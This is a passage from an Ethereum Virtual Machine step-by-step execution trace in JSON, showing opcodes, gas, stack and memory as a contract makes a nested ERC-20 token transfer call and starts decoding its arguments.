0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7545,"op":"MLOAD","gas":62160,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7546,"op":"DUP1","gas":62157,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x0","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7547,"op":"DUP4","gas":62154,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x0","0x124","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7548,"op":"SUB","gas":62151,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x0","0x124","0x124","0x168"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7549,"op":"DUP2","gas":62148,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x0","0x124","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7550,"op":"DUP6","gas":62145,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x0","0x124","0x44","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7551,"op":"DUP8","gas":62142,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x0","0x124","0x44","0x124","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7552,"op":"GAS","gas":62139,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x0","0x124","0x44","0x124","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7553,"op":"CALL","gas":62137,"gasCost":61168,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x0","0x124","0x44","0x124","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xf2b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":0,"op":"PUSH1","gas":61068,"gasCost":3,"depth":3,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":61065,"gasCost":3,"depth":3,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":61062,"gasCost":12,"depth":3,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"PUSH1","gas":61050,"gasCost":3,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7,"op":"CALLDATASIZE","gas":61047,"gasCost":2,"depth":3,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"LT","gas":61045,"gasCost":3,"depth":3,"stack":["0x4","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":9,"op":"PUSH2","gas":61042,"gasCost":3,"depth":3,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12,"op":"JUMPI","gas":61039,"gasCost":10,"depth":3,"stack":["0x0","0xc0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13,"op":"PUSH1","gas":61029,"gasCost":3,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":15,"op":"CALLDATALOAD","gas":61026,"gasCost":3,"depth":3,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"PUSH1","gas":61023,"gasCost":3,"depth":3,"stack":["0xa9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"SHR","gas":61020,"gasCost":3,"depth":3,"stack":["0xa9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":19,"op":"DUP1","gas":61017,"gasCost":3,"depth":3,"stack":["0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"PUSH4","gas":61014,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"GT","gas":61011,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0xa9059cbb","0x313ce567"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH2","gas":61008,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"JUMPI","gas":61005,"gasCost":10,"depth":3,"stack":["0xa9059cbb","0x0","0x74"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":30,"op":"DUP1","gas":60995,"gasCost":3,"depth":3,"stack":["0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":31,"op":"PUSH4","gas":60992,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":36,"op":"GT","gas":60989,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0xa9059cbb","0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":37,"op":"PUSH2","gas":60986,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":40,"op":"JUMPI","gas":60983,"gasCost":10,"depth":3,"stack":["0xa9059cbb","0x0","0x4e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":41,"op":"DUP1","gas":60973,"gasCost":3,"depth":3,"stack":["0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":42,"op":"PUSH4","gas":60970,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":47,"op":"EQ","gas":60967,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0xa9059cbb","0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":48,"op":"PUSH2","gas":60964,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":51,"op":"JUMPI","gas":60961,"gasCost":10,"depth":3,"stack":["0xa9059cbb","0x1","0x1fa"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":506,"op":"JUMPDEST","gas":60951,"gasCost":1,"depth":3,"stack":["0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":507,"op":"CALLVALUE","gas":60950,"gasCost":2,"depth":3,"stack":["0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":508,"op":"DUP1","gas":60948,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":509,"op":"ISZERO","gas":60945,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":510,"op":"PUSH2","gas":60942,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":513,"op":"JUMPI","gas":60939,"gasCost":10,"depth":3,"stack":["0xa9059cbb","0x0","0x1","0x206"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":518,"op":"JUMPDEST","gas":60929,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":519,"op":"POP","gas":60928,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":520,"op":"PUSH2","gas":60926,"gasCost":3,"depth":3,"stack":["0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":523,"op":"PUSH2","gas":60923,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":526,"op":"CALLDATASIZE","gas":60920,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x215"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":527,"op":"PUSH1","gas":60918,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":529,"op":"PUSH2","gas":60915,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":532,"op":"JUMP","gas":60912,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x7a8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1960,"op":"JUMPDEST","gas":60904,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1961,"op":"PUSH1","gas":60903,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1963,"op":"DUP1","gas":60900,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1964,"op":"PUSH1","gas":60897,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1966,"op":"DUP4","gas":60894,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1967,"op":"DUP6","gas":60891,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x40","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1968,"op":"SUB","gas":60888,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x40","0x4","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1969,"op":"SLT","gas":60885,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1970,"op":"ISZERO","gas":60882,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1971,"op":"PUSH2","gas":60879,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x215","0x44","0x4","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1974,"op":"JUMPI","gas":60876,"gasCost":10,"depth"